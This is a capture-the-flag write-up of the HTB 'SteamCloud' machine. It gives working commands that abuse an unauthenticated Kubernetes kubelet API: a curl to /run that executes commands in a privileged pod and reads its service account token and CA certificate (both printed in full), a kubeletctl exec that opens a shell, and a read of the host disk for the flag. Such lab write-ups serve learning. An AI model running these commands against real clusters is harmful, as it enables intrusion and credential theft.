HTB 2021 Uni CTF Quals - SteamCloud writeup

Easy cloud

 nmap

As always, it is best to start with a nmap scan:

➜ nmap -sC -sV 10.129.227.136
22/tcp    open  ssh              OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 e7:0d:f9:66:cf:c8:54:e4:72:3f:87:f2:60:34:e9:1c (RSA)
|   256 35:21:a2:1f:a9:dd:32:83:67:c8:97:7f:17:61:27:d0 (ECDSA)
|_  256 22:08:6d:95:2c:9a:5e:06:58:e5:5e:57:a3:c2:35:84 (ED25519)
2379/tcp  open  ssl/etcd-client?
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.96.107, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2021-11-20T14:29:00
|_Not valid after:  2022-11-20T14:29:00
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  h2
2380/tcp  open  ssl/etcd-server?
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.96.107, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2021-11-20T14:29:00
|_Not valid after:  2022-11-20T14:29:00
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  h2
8443/tcp  open  ssl/https-alt
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 403 Forbidden
|     Audit-Id: fb620265-f85a-4183-8ce2-ac97bf0b3443
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: ff99352c-cbd6-46e5-a170-da75cbe306fe
|     X-Kubernetes-Pf-Prioritylevel-Uid: c324b812-613f-4329-8ecc-eeaab989ce61
|     Date: Sat, 20 Nov 2021 15:08:22 GMT
|     Content-Length: 212
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
|   GetRequest: 
|     HTTP/1.0 403 Forbidden
|     Audit-Id: 3249e779-382e-441d-aff4-1053f0b1d492
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: ff99352c-cbd6-46e5-a170-da75cbe306fe
|     X-Kubernetes-Pf-Prioritylevel-Uid: c324b812-613f-4329-8ecc-eeaab989ce61
|     Date: Sat, 20 Nov 2021 15:08:22 GMT
|     Content-Length: 185
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
|   HTTPOptions: 
|     HTTP/1.0 403 Forbidden
|     Audit-Id: 5062933f-d679-48bc-ab92-00a9b93d2199
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: ff99352c-cbd6-46e5-a170-da75cbe306fe
|     X-Kubernetes-Pf-Prioritylevel-Uid: c324b812-613f-4329-8ecc-eeaab989ce61
|     Date: Sat, 20 Nov 2021 15:08:22 GMT
|     Content-Length: 189
|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.129.96.107, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2021-11-19T14:28:57
|_Not valid after:  2024-11-19T14:28:57
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|   h2
|_  http/1.1
10249/tcp open  http             Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
10250/tcp open  ssl/http         Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=steamcloud@1637418543
| Subject Alternative Name: DNS:steamcloud
| Not valid before: 2021-11-20T13:29:03
|_Not valid after:  2022-11-20T13:29:03
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|   h2
|_  http/1.1
10256/tcp open  http             Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8443-TCP:V=7.91%T=SSL%I=7%D=11/20%Time=61990F66%P=x86_64-pc-linux-g
SF:nu%r(GetRequest,22F,"HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x203249
SF:e779-382e-441d-aff4-1053f0b1d492\r\nCache-Control:\x20no-cache,\x20priv
SF:ate\r\nContent-Type:\x20application/json\r\nX-Content-Type-Options:\x20
SF:nosniff\r\nX-Kubernetes-Pf-Flowschema-Uid:\x20ff99352c-cbd6-46e5-a170-d
SF:a75cbe306fe\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x20c324b812-613f-4329
SF:-8ecc-eeaab989ce61\r\nDate:\x20Sat,\x2020\x20Nov\x202021\x2015:08:22\x2
SF:0GMT\r\nContent-Length:\x20185\r\n\r\n{\"kind\":\"Status\",\"apiVersion
SF:\":\"v1\",\"metadata\":{},\"status\":\"Failure\",\"message\":\"forbidde
SF:n:\x20User\x20\\\"system:anonymous\\\"\x20cannot\x20get\x20path\x20\\\"
SF:/\\\"\",\"reason\":\"Forbidden\",\"details\":{},\"code\":403}\n")%r(HTT
SF:POptions,233,"HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x205062933f-d6
SF:79-48bc-ab92-00a9b93d2199\r\nCache-Control:\x20no-cache,\x20private\r\n
SF:Content-Type:\x20application/json\r\nX-Content-Type-Options:\x20nosniff
SF:\r\nX-Kubernetes-Pf-Flowschema-Uid:\x20ff99352c-cbd6-46e5-a170-da75cbe3
SF:06fe\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x20c324b812-613f-4329-8ecc-e
SF:eaab989ce61\r\nDate:\x20Sat,\x2020\x20Nov\x202021\x2015:08:22\x20GMT\r\
SF:nContent-Length:\x20189\r\n\r\n{\"kind\":\"Status\",\"apiVersion\":\"v1
SF:\",\"metadata\":{},\"status\":\"Failure\",\"message\":\"forbidden:\x20U
SF:ser\x20\\\"system:anonymous\\\"\x20cannot\x20options\x20path\x20\\\"/\\
SF:\"\",\"reason\":\"Forbidden\",\"details\":{},\"code\":403}\n")%r(FourOh
SF:FourRequest,24A,"HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x20fb620265
SF:-f85a-4183-8ce2-ac97bf0b3443\r\nCache-Control:\x20no-cache,\x20private\
SF:r\nContent-Type:\x20application/json\r\nX-Content-Type-Options:\x20nosn
SF:iff\r\nX-Kubernetes-Pf-Flowschema-Uid:\x20ff99352c-cbd6-46e5-a170-da75c
SF:be306fe\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x20c324b812-613f-4329-8ec
SF:c-eeaab989ce61\r\nDate:\x20Sat,\x2020\x20Nov\x202021\x2015:08:22\x20GMT
SF:\r\nContent-Length:\x20212\r\n\r\n{\"kind\":\"Status\",\"apiVersion\":\
SF:"v1\",\"metadata\":{},\"status\":\"Failure\",\"message\":\"forbidden:\x
SF:20User\x20\\\"system:anonymous\\\"\x20cannot\x20get\x20path\x20\\\"/nic
SF:e\x20ports,/Trinity\.txt\.bak\\\"\",\"reason\":\"Forbidden\",\"details\
SF:":{},\"code\":403}\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 103.89 seconds

We got quite some results. Also some unrecognized ports. However, a quick search reveals that on port 10250 the kubelet API is hosted.

 Kubelet API

After searching around how to interact with the kubelet API, we have found this gist that showed an interesting API endpoint hosted on the kubelet API: https://10.129.227.136:10250/pods. Doing a curl to this endpoint showed us a lot of information about the kubernetes cluster. Most interesting was that the kube-proxy pod contains a privileged container:

From this article we also found the runningpods/ endpoint which revealed a lot of detailed information too about the pods that we can interact with:

➜ curl -sk https://10.129.227.136:10250/runningpods/ |  jq '.items[].metadata.name'
"kube-apiserver-steamcloud"
"etcd-steamcloud"
"nginx"
"storage-provisioner"
"coredns-78fcd69978-zbwf9"
"kube-proxy-84qt4"
"kube-controller-manager-steamcloud"
"kube-scheduler-steamcloud"

Now we have everything to be able to interact with the pods.

 Getting code execution

The gist previously mentioned also described a way to get code execution, namely through the exec/ endpoint on port 10250. This method is also described in the article and we know from that, that it is interesting to get the service account token:

➜ curl -XPOST -k \
  https://10.129.227.136:10250/run/kube-system/kube-proxy-84qt4/kube-proxy \
  -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
eyJhbGciOiJSUzI1NiIsImtpZCI6ImR5VFdmTTk2WnRENW5QVWRfaXF0SFhTV1VVeG9fWkRGQm9hMTN4VlBzRm8ifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjY4OTQwMTUxLCJpYXQiOjE2Mzc0MDQxNTEsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsInBvZCI6eyJuYW1lIjoia3ViZS1wcm94eS04NHF0NCIsInVpZCI6ImY3Nzk3MWRhLWZkZjgtNGU5YS1hNzdlLWU1YWU1MzljNDdmMCJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoia3ViZS1wcm94eSIsInVpZCI6ImM1YjBlOTljLTljYTUtNDFhNy04OTBkLTZiM2RjMTZmMzc5NCJ9LCJ3YXJuYWZ0ZXIiOjE2Mzc0MDc3NTh9LCJuYmYiOjE2Mzc0MDQxNTEsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDprdWJlLXN5c3RlbTprdWJlLXByb3h5In0.y9XWqSPMJUw7MkBI13mPkSrqtXdiYkVusJGMdqY50aO4JGuJDc0TO0ZbGGo0Hzo9ik-Xs9pGSICl86EsqxYx2whR9RnS3bxujTXSPuIJJtVpwAbLoMZjWGxF6acvTcyREKxRDbSced6YdlwkkpzIH7ck1lvhyvrTfQqmOojMs64xrnz7qKg80qfQVGtXS9m2gywPRLFyeDwdrTPln-yKiZAdDmHarXLiaiBsrWXgcsurTB6ksJqlCS43yjXUWMN5F4cBtgEuCOWoAn7qJELt_AqzlBCk0eJz_gH5DnF_V7bl7MSOPa1phb271KCy3FXZqVR56BLv0WyjVtazN6b3zw

Now we have obtained to service account token and we can use kubectl to interact with the API. We can try to extract some secrets:

kubectl --insecure-skip-tls-verify=true --server="https://10.129.227.136:10250" --token="eyJhbG[snip]zN6b3zw" get secrets --all-namespaces

However, this didn’t result in any output…

We tried to get code a reverse shell using this method for code execution, but file descriptors did not work in this shell and there were almost no binaries to use for a reverse shell.

 Getting a shell

After searching around on the internet for some useful tools, we have found kubeletctl. This tool uses the kubectl config to interact with the kubelet API. In order for this tool to work, we also need the ca.crt in the container, so we get that too using our method for code execution:

➜ curl -XPOST -k \
  https://10.129.227.136:10250/run/kube-system/kube-proxy-84qt4/kube-proxy \
  -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt"
-----BEGIN CERTIFICATE-----
MIIDBjCCAe6gAwIBAgIBATANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDEwptaW5p
a3ViZUNBMB4XDTIxMTExNTExNDUyOVoXDTMxMTExNDExNDUyOVowFTETMBEGA1UE
AxMKbWluaWt1YmVDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJ5e
vZyukR7NVz3KtzprRBO0oDPOMBPIhOyHfkhVvn1oRtDVyK5ivlvIYdSFUp6OVJGq
3KTGq/cU3UCULcdAm4fUUNddkhuhGyzSnIy80yu9PAnCWqebi3tMykvpNdV7NqAs
aVh+iRLc7I0w9Bi1zU0DvMIDwvEgSbkpd06+aBKfg3P2zbosHUhGyPw5V5nfGhcE
SKdMLyCaEpmJg8hHIMMqDOthTUoVKXxtLUFlYu7GPspXeWIv2CmH383MslUgx5ak
SI57eh9mzPZXVh3cjcJWejoq00LNLoVdm+bdUzn8pvVIxvzellHzQ/IcpLT/GufE
DAFvCfOndI+AOCKu4jMCAwEAAaNhMF8wDgYDVR0PAQH/BAQDAgKkMB0GA1UdJQQW
MBQGCCsGAQUFBwMCBggrBgEFBQcDATAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQW
BBRG6VO+4YmEyjQkvCBG3vYqpneGajANBgkqhkiG9w0BAQsFAAOCAQEAAF2csmso
G+AfEm0U+wAxTNtEkUBdk0seswj7TkQyCwt5qGgX4wctjCo0kwvgmnz5QpWM0t0M
GFoUUWCtIYWCzS/W1QK04PTI9/4IgJOEi584SBCx+/cF4HTSB3+a3dWp9OXd/KP4
rkjaZZU2DUZfp4B5brBUmP5h1MTnXJnI+5jcmF7kF6uhE4DgYbMrj7SkG/egT5GX
6cwgh4RhMzdTJxdVCVhjACynSUvg4sllk2YF/0Nda/v3C8gDhUDcO6qyXqfutAGE
MhxgN4lKI0zpxFBTpIwJ3iZemSfh3pY2UqX03ju4TreksGMkX/hZ2NyIMrKDpolD
602eXnhZAL3+dA==
-----END CERTIFICATE-----

kubeletctl has the following useful option:

exec          Run commands inside a container

To get a shell in the privileged kube-proxy container running in the kube-proxy-84qt4 pod, we have to configure kubeletctl to use the right namespace (kube-system) and we have to give it the certificate we found. The command to get that shell is then the following: kubeletctl exec /bin/sh -p kube-proxy-84qt4 -c kube-proxy -n kube-system -s 10.129.227.136 --cacert ./ca.crt

Now we have a shell in the privileged container. Now we have to find a way to get the flag on the host.

 Getting the flag

The container appears to be very limited. There are almost no binaries available to do some privilege escalation to get to the host. However, due to the way a team mate solved GoodGames, we tried to just grep via /dev/sda1 for the flag:

And that actually works! We get back two flags, but one of the flags worked:

HTB{d0n7_3Xpo53_Ku83L37}